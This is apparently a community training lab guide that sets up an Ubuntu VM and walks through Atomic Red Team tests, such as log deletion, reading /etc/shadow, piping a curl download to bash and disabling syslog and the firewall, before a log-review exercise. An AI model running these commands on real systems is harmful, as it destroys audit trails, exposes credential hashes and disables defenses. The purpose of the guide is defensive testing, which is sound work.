QCC Labs Threat Hunting with Atomic Red Team

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Goal: This is the second of two Threat Hunting Labs! In this session we explore using Atomic Red Team to safely automate red testing on your systems. If you have completed the first Threat Hunting Lab with Wazuh, we can then

Pre Requirements:

- Personal laptop
- Preferable:
    - Download and install Virtual Box ahead of time.
    - Optional: Complete the first QCC Threat Hunting lab with Wazuh. Ensure both your WazuhServer and WazuhClient are up and can ping eachother.
    - Else Download and create a Ubuntu Linux VM (min 2 CPU cores, 4 GB RAM, 10 gigs disk size)
    - You may need to temporarily disable your local Firewall if you are having trouble.

> “
>
> Welcome to Atomic Red Team™
>
> Atomic Red Team is an open source library of tests designed to test your organization's security controls, and this website is designed to help security teams better understand Atomic Red Team and the related collection of free and
>
> “
>
> https://www.atomicredteam.io/ (20251124)

Legal Disclaimer:

Before we go any further, it is critical to only use these tools on device you either own or have been given explicit (preferably written) authorization to perform these explicit acts on. The Computer Fraud and Abuse Act is a very real and serious thing. We all here at QCC want you to stay on the correct side of prison, the outside.

Prerequisite:

Download VirtualBox:

1. Go to: https://www.virtualbox.org/ and click downloads

2. Select your distribution to start your download
3. So much simpler than VMWare

Install Virtual Box:

1. Go to download location and double click. Accept UAC pop up.
2. Please note that exact install options might change as app is updated. This guide was created 8/24/2024.
3. On the first generic install screen click next.
4. The next screen allows you to customize your Virtual Box install. I kept with the default and clicked next.
5. Click Yes to the network interruption message.
6. Click yes if you get any missing dependencies.
7. At the next customization screen, I kept the default.
8. Click Install on the 'Ready to Install Screen'
9. Click Finish

Make sure that you are connected to the internet.

Here we come to a fork in the road. Which path you wish to do is up to you!

- Either complete QCC Threat Hunting Lab 1 on Wazuh ahead of time. Doing so will allow you to leverage the Wazuh SIEM functionality to visualize your attacks in real time as well as write reports, alerts, dashboards, maps, and notifications! You can find the complete writeup and tools on our QCC Lab WiFi! (expected time 45 min to 90 min assuming you have all of the files local)
- However, if you want to only learn how you can use Atomic Red Team to help you test your systems, NO PROBLEM. In this case we will have you build an Ubuntu Linux VM . (min 2 CPU cores, 4 GB RAM, 10 gigs disk size) You can still see the results of your work in the native linux log files, it will not be as nicely parsed as in the Wazuh GUI.

If you have completed the QCC Threat Hunting Lab 1 on Wazuh:

1. Make sure each system is powered on.
2. Make sure WazuhClient can ping the WazuhServer either by IP or by hostname depending on how you enrolled the WazuhClient.
3. On the WazuhServer web interface look to see that the WazuhClient is shown as active!
4. You are good to go!

If you are treating this as a stand-alone lab, we are glad to have you!

Follow these steps to build your client VM (min 2 CPU cores, 4 GB RAM, 10 gigs disk size). You can expect your system build to take between 15 to 30 minutes power.

During install you can always bump up CPU and RAM on a VM to allow for a faster build process. Then when the VM is turned off you can edit the VM config file to step down the CPU and RAM to a smaller number. (I often do this.)

During the initial part of system setup of your VM you mouse might be captured only to the VM, in Virtual box to return your mouse to the host OS press 'Control + C'.

*When building Wazuh it might be faster to use 4096 ram and 4 CPU during the build process, once you shut down the VM you can always go into the Virtual Box Settings and edit the CPU to 2 / RAM 2048 to make it easier to run your system

1. Download ubuntu: https://ubuntu.com/download/desktop
2. Click new:
    a. Give OS Name
    b. Select desired location for VM files
    c. Select Ubuntu ISO
    d. Unclick skip unattended install. (Sometimes the old ways are best)
    e. Click Next
3. On the next screen select:
    a. ram 4096 (suggested build), 2048 (suggested run)
    b. 4 cpu (suggested build), 2 cpu (suggested run)
    c. Click next
4. Set hard drive size to 10 GB and press next
5. Click finish
6. Click on the newly created VM and click start
7. Select 'Try or Insta Ubuntu'
8. Choose your language and click next
9. At accessibility Click next
10. Select keyboard layout and click next
11. At 'connect to internet' select 'use wired connection' (#VirtualBoxMagic)
12. Click 'Install Ubuntu' and click next
13. Click 'Interactive installation' and click next
14. Click 'Default selection' and click next
15. At 'Install recommended proprietary software' leave all unchecked and click next
16. Select 'Erase disk and install Ubuntu' and click next
17. Fill out your username details and click next. Suggest something generic. I used:
    a. Set your host name to either **WazuhClient depending on which system you are building**
    b. U: ubuntu
    c. P: ubuntu
    d. (Yes a wrote this into the guide so that I would not forget as I am writing this on 12/4/2025)
    e. Click next

18. Select the zone of time and click next
19. FINALLY CLICK INSTALL!
20. Finally now we have nothing to do but wait! Might a suggest that you enjoy a responsible beverage of your choice!?!?!?
21. At the end use the Devices -> optical drive to remove the Ubuntu ISO from the CD mapping and reboot the machine.
22. Log into the system and click next on the Welcome to Ubuntu screen
23. Select 'skip for new' and click next
24. I selected the option that started with 'No,' and clicked next
25. Click finish
26. In the lower left hand corner click on the icon of the ring with three dots. Right click 'terminal' and drag and drop it onto the desired location on the quick launch bar on the left.

By default Virtual Box will put your VM in VLAN local to your system and use NAT (Network Address Translation) in order to talk to systems on the outside. This is the same way your local router allows your system to communicate with the outside world. While not needed for this lab if you are treating this lab as a stand alone you can switch you VM to be on the same network as your host OS by using networking Bridge mode. This is valuable in the QCC Threat Hunting Lab 1 on Wazuh as this allows the WazuhClient and WazuhServer to talk directly to each other.

When you VM is turned off, you need to go into settings -> network -> Attached to and set it to Bridge. This will place your VMs on the same VLAN as your host machine.

Atomic Red Team

Atomic Red Team: https://www.atomicredteam.io/
Atomic Red Team Atomics: https://www.atomicredteam.io/atomic-red-team
Atomic Red Team Linux Atomics: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/linux-index.md

Lets open up our browser to the Atomic viewer: https://www.atomicredteam.io/atomic-red-team
Take a moment to filter first for the Linux Platform and then on tactics that interest you. Open individual Atomics in a new tab to better understand how this tool is organized.

While you can download and install Atomic Red Team on your system, you can also use the instructions in each atomic to manually run the attack / test. Installation methods include:

- Native Windows (default)
- Docker / Container
- Build from GitHub

Atomic Red Team is built of many individual Test Cases (called Atomics). Each Atomics can contain one or more individual tests

Now we will look at several of the individual Linux Atomics.

T1070.002- Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs

https://www.atomicredteam.io/atomic-red-team/atomics/T1070.002#atomic-test-5---truncate-system-log-files-via-truncate-utility-freebsd

Malicious Attackers want to minimize being detected or what they have done. Clearing the logs can be a very temping high risk / high reward task as the act of clearing logs often has an alert with notification. This is why many attackers might wish to try to corrupt the logs. Some common Linux logs are:

- /var/log/messages: General and system-related messages
- /var/log/secure or /var/log/auth.log: Authentication logs
- /var/log/utmp or /var/log/wtmp: Login records
- /var/log/kern.log: Kernel logs
- /var/log/cron.log: Crond logs
- /var/log/maillog: Mail server logs
- /var/log/httpd/: Web server access and error logs

Here we are going to do Atomic Test 2 and 3

> “
> **Atomic Test #2 - rm -rf**
> Delete messages and security logs
> **Supported Platforms:** Linux
> **auto_generated_guid:** bd8ccc45-d632-481e-b7cf-c467627d68f9
> **Attack Commands: Run with sh! Elevation Required (e.g. root or admin)**
> rm -rf /var/log/messagesrm -rf /var/log/security
>
> **Atomic Test #3 - Delete log files using built-in log utility**
> This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content
> **Supported Platforms:** macOS
> **auto_generated_guid:** 653d39cd-bae7-499a-898c-9fb96b8b5cd1
> **Attack Commands: Run with sh! Elevation Required (e.g. root or admin)**
> sudo log erase --allsudo log erase --ttl #Deletes only time-to-live log content
> “
> https://www.atomicredteam.io/atomic-red-team/atomics/T1070.002#atomic-test-5---truncate-system-log-files-via-truncate-utility-freebsd

We moved this test up to the start of our list so that you can review the logs at the end of this lab to see what activity has been logged.

T1003.008- OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

https://www.atomicredteam.io/atomic-red-team/atomics/T1003.008#atomic-test-2---access-etcmasterpasswd-local

At the time of this writing we have 5 tests under this Atomic. For those that do not know the /etc/shodow and /etc/password are highly valued as this would allow offline password cracking!

Lets' run throught the first three tests in this atomic:

"

Atomic Test #1 - Access /etc/shadow (Local)

/etc/shadow file is accessed in Linux environments

Supported Platforms: Linux

auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235

Inputs:

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.008.txt

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

```
sudo cat /etc/shadow > #{output_file}
cat #{output_file}
```

Cleanup Commands:

```
rm -f #{output_file}
```

Atomic Test #2 - Access /etc/master.passwd (Local)

/etc/master.passwd file is accessed in FreeBSD environments

Supported Platforms: Linux

auto_generated_guid: 5076874f-a8e6-4077-8ace-9e5ab54114a5

Inputs:

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.008.txt

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

```
sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}
```

Cleanup Commands:

```
rm -f #{output_file}
```

Atomic Test #3 - Access /etc/passwd (Local)

/etc/passwd file is accessed in FreeBSD and Linux environments

Supported Platforms: Linux

auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d

Inputs:

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.008.txt

Attack Commands: Run with sh!

cat /etc/passwd > #{output_file}
cat #{output_file}
Cleanup Commands:
rm -f #{output_file}
“

https://www.atomicredteam.io/atomic-red-team/atomics/T1003.008#atomic-test-2---access-etcmasterpasswd-local

T1027- Decode base64 Data into Script

One of the ways malicious attackers look to hide activity and bypass security controls is by obfuscation. By using obfuscation, we can make data obscure, unclear, unintelligible, or un-readable. Traditionally obfuscation is much more light weight than certain type of encryption. One of the most common obfuscation is running text / data through Base64. Base64 is a binary-to-text that uses 64 printable characters to represent each of 6-bit segment of a sequence of byte values. It is trivial to run text / data through base64 and then run it back through to base64 to return the text / data to its original form. I am sure you can see how this could be used to hide sensitive data from many traditional signature based tools (IDS / AV / DLP / etc)

We will run the first test here

“
Atomic Test #1 - Decode base64 Data into Script
Creates a base64-encoded data file and decodes it into an executable shell script
Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Hello from the Atomic Red Team and uname -v
Supported Platforms: macOS, Linux
auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb
Inputs:

Name	Description	Type	Default Value
shell_command	command to encode	string	echo Hello from the Atomic Red Team && uname -v

Attack Commands: Run with sh!
if ["$(uname)" = 'FreeBSD']; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

Cleanup Commands:
rm /tmp/encoded.dat
rm /tmp/art.sh
“
https://www.atomicredteam.io/atomic-red-team/atomics/T1027#atomic-test-1---decode-base64-data-into-script

T1037.004- Boot or Logon Initialization Scripts: rc.local

https://www.atomicredteam.io/atomic-red-team/atomics/T1037.004#atomic-test-3---rclocal

Malicious Attackers can establish persistence by modifying RC scripts, to give the Linux computer instructions to run when the systems boots or a user logs in. RC scripts require root privileges to modify.

From this Atomic, lets run this first test

> “
> **Atomic Test #1 - rc.common**
> Modify rc.common
> Reference
> **Supported Platforms:** macOS
> **auto_generated_guid:** 97a48daa-8bca-4bc0-b1a9-c1d163e762de
> **Attack Commands: Run with bash! Elevation Required (e.g. root or admin)**
> sudo echo osascript -e 'tell app "Finder" to display dialog "Hello World"' >> /etc/rc.common
> “
>
> https://www.atomicredteam.io/atomic-red-team/atomics/T1037.004#atomic-test-3---rclocal

T1053.002- Scheduled Task/Job: At

https://www.atomicredteam.io/atomic-red-team/atomics/T1053.002#atomic-test-2---at---schedule-a-job

Malicious attackers can use the at command to tell Linux computer what to do at a specific time. Think start services, stop services, shutdown, data ex-fil, the options are limitless.

> “
> **Atomic Test #1 - At.exe Scheduled task**
> Executes cmd.exe Note: deprecated in Windows 8+
> Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
> **Supported Platforms:** Windows
> **auto_generated_guid:** 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
> **Attack Commands: Run with command_prompt!**
> at 13:20 /interactive cmd
> “
>
> https://www.atomicredteam.io/atomic-red-team/atomics/T1053.002#atomic-test-2---at---schedule-a-job

T1056.001- Input Capture: Keylogging

https://www.atomicredteam.io/atomic-red-team/atomics/T1056.001#atomic-test-3---logging-bash-history-to-syslog

Malicious attackers can learn a lot from looking at what commands have been run in the system.

For this lab we are going to run Atomic Test 4.

“

Atomic Test #4 - Logging sh history to syslog/messages

There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile

Supported Platforms: Linux

auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

```
PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages
```

Cleanup Commands:

```
unset PS2
```

“

https://www.atomicredteam.io/atomic-red-team/atomics/T1056.001#atomic-test-3---logging-bash-history-to-syslog

T1059.004- Command and Scripting Interpreter: Bash

https://www.atomicredteam.io/atomic-red-team/atomics/T1059.004#atomic-test-9---obfuscated-command-line-scripts

As we know, as a server operating system, Linux administration is highly based on the command line. Bash can be a very powerful tool to use for good or non-good.

Here we are going to run Atomic Test 1 & 2.

“

Atomic Test #1 - Create and Execute Bash Shell Script

Creates and executes a simple sh script.

Supported Platforms: Linux, macOS

auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873

Inputs:

Name	Description	Type	Default Value
script_path	Script path	path	/tmp/art.sh
host	Host to ping	string	8.8.8.8

Attack Commands: Run with sh!

```
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
```

Cleanup Commands:

```
rm #{script_path}
```

Atomic Test #2 - Command-Line Interface

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt.
Supported Platforms: Linux, macOS
auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c
Attack Commands: Run with sh!
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
Cleanup Commands:
rm /tmp/art-fish.txt
"

https://www.atomicredteam.io/atomic-red-team/atomics/T1059.004#atomic-test-5---new-script-file-in-the-tmp-directory

T1070.003- Indicator Removal on Host: Clear Command History

https://www.atomicredteam.io/atomic-red-team/atomics/T1070.003#atomic-test-1---clear-bash-history-rm
In addition to clearing system logs, an attacker might want to clear the bash history to prevent discovery of what commands were run!

Here we will run Atomic Test 1

"
Atomic Test #1 - Clear Bash history (rm)
Clears bash history via rm
Supported Platforms: Linux, macOS
auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc
Inputs:

Name	Description	Type	Default Value
history_path	Bash history path	path	~/.bash_history

Attack Commands: Run with sh!
rm #{history_path}
"
https://www.atomicredteam.io/atomic-red-team/atomics/T1070.003#atomic-test-1---clear-bash-history-rm

T1548.003- Abuse Elevation Control Mechanism: Sudo and Sudo Caching

'sudo' the magic word that gives you the power you need in Linux! This allows a user to escalate privileges and gives that user administrative rights for the rest of that session.
https://www.atomicredteam.io/atomic-red-team/atomics/T1548.003#atomic-test-1---sudo-usage

For this Atomic we are going to run test i

“

Atomic Test #1 - Sudo usage
Common Sudo enumeration methods.
Supported Platforms: macOS, Linux
auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
sudo -l
sudo cat /etc/sudoers
sudo vim /etc/sudoers
“

https://www.atomicredteam.io/atomic-red-team/atomics/T1548.003#atomic-test-1---sudo-usage

T1562.001- Impair Defenses: Disable or Modify Tools

One of the key activities that an attacker might be tempted to do is to disable a Linux systems ability to send syslog. However, this too can be high risk / high reward as many SIEMs do have alerts to detect and notify if a logging system stops logging.
https://www.atomicredteam.io/atomic-red-team/atomics/T1562.001#atomic-test-1---disable-syslog

For this Atomic we are doing the first

“

Atomic Test #1 - Disable syslog
Disables syslog collection
Supported Platforms: Linux
auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8
Inputs:

Name	Description	Type	Default Value
package_checker	Package checking command for linux.	string	(rpm -q rsyslog 2>&1 >/dev/null)
package_installer	Package installer command for linux. Default yum	string	(which yum && yum -y install epel-release rsyslog)
flavor_command	Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog	string	systemctl stop rsyslog ; systemctl disable rsyslog
cleanup_command	Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on	string	systemctl start rsyslog ; systemctl enable rsyslog

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
#{flavor_command}
Cleanup Commands:
#{cleanup_command}
Dependencies: Run with sh!
Description: Package with rsyslog must be on system
Check Prereq Commands:
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
sudo #{package_installer}

“

https://www.atomicredteam.io/atomic-red-team/atomics/T1562.001#atomic-test-1---disable-syslog

T1562.004- Impair Defenses: Disable or Modify System Firewall

By default Ubuntu comes with ufw firewall. As part of this Atomic we are going to turn off our firewall.
https://www.atomicredteam.io/atomic-red-team/atomics/T1562.004#atomic-test-7---stopstart-ufw-firewall

“

Atomic Test #7 - Stop/Start UFW firewall
Stop the Uncomplicated Firewall (UFW) if installed.
Supported Platforms: Linux
auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
ufw disable
Cleanup Commands:
ufw enableufw status verbose
“

https://www.atomicredteam.io/atomic-red-team/atomics/T1562.004#atomic-test-7---stopstart-ufw-firewall

And now for something completely different!

So now we have ran through some real-world system tests thanks to Atomic Red Team! Now comes for the #BlueTeamShit!!! Your mission if you choose to accept it is to peruse the log files and see what actions were log and what actions were not. You may need to make auditing configuration changes to ensure the desired actions are logged.

Now here is where things get interesting, if you did the first QCC Threat Hunting lab with Wazuh and your Wazuh server is active, you should be able to see all of the logs in the Wazuh web interface! Else we care going to look into the raw Linux log files. Also you can build out reports, alerting, dashboards, maps, and many more tools in Wazuh!!!

Else be nice to ‘cat’ as you view your log files!

Popular Linux Log files:

- /var/log/messages: General and system-related messages
- /var/log/secure or /var/log/auth.log: Authentication logs
- /var/log/utmp or /var/log/wtmp: Login records
- /var/log/kern.log: Kernel logs
- /var/log/cron.log: Crond logs
- /var/log/maillog: Mail server logs
- /var/log/httpd/: Web server access and error logs

Until Next time!